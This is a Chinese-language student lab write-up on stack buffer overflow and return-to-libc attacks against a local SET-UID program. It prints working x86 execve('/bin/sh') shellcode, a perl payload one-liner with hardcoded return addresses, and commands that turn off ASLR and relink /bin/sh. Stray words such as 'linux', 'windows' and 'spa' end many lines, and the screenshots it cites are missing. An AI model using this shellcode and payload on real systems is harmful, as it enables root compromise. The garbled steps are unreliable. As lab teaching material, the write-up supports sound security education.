Return-to-libc攻击
是一种特殊的缓冲区溢出攻击,一般用于攻击有“栈不可执行”保护措施的目标系统。本实验中咱们放弃了让漏洞程序执行堆栈中的shellcode
,将用system()
地址替换返回地址,用它调用一个root shell
。linux
实验以前须要安装execstack
.shell
设置堆栈可执行,并关闭地址随机化。windows
shellcode的获取是直接根据许心远同窗的博客bash
获得shellcode以下网络
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
构造注入的payload
,格式为dom
nop(即\x90)+shellcode+返回地址。
对返回地址进行猜想,尝试找到shellcode
的地址:spa
打开一个新的终端,首先查看pid:发现pid为18533d
用gdb调试:调试
ret一行即为结束地址,从上图中,读出结束地址为0x080484aecode
返回原来的终端:(回车要在设置断点后进行,gdb执行c前按下,不然没法确认进程号)
接下来设置断点,并寻找注入的buf的地址:
而后咱们发现,先前输入的01020304出如今了这里,这里就是返回地址。
01020304的位置就是返回地址的位置,即0xffffd33c
得到shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为
perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
而后在该窗口中,从新运行
(cat input_shellcode ; cat )| ./pwn5314
成功
首先须要建立环境
输入以下指令,建立32位C语言可编译的环境
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386
完成安装
输入命令
linux32
进入32位linux操做环境
使用
/bin/bash
进入bash
接下来关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
为了防止shell攻击,若被攻击,则程序被调用时会自动弃权,用zkj来代替它:
这里用到的命令为:
sudo su cd /bin rm sh ln -s zsh sh exit
在tmp文件夹下编辑“retlib.c”文件,并编译设置SET-UID
我在windows下编译完成后复制进tmp文件夹,所以替代了文件
进行编译,
提权后退出。
建立文件“”getenvaddr.c”文件用于读取环境变量,并编译
在tmp文件夹下准备“exploit.c”文件用于攻击
并对其进行编译
编译exploit再运行gdb,对其进行调试
接下来获取system地址
经过上述获取的地址,修改入exploit.c文件,并删除以前生成的exploit和badfile文件,再次编译,
编译的方法是:将先前获得的地址等填入exploit的相应位置
最后编译运行retlib
攻击成功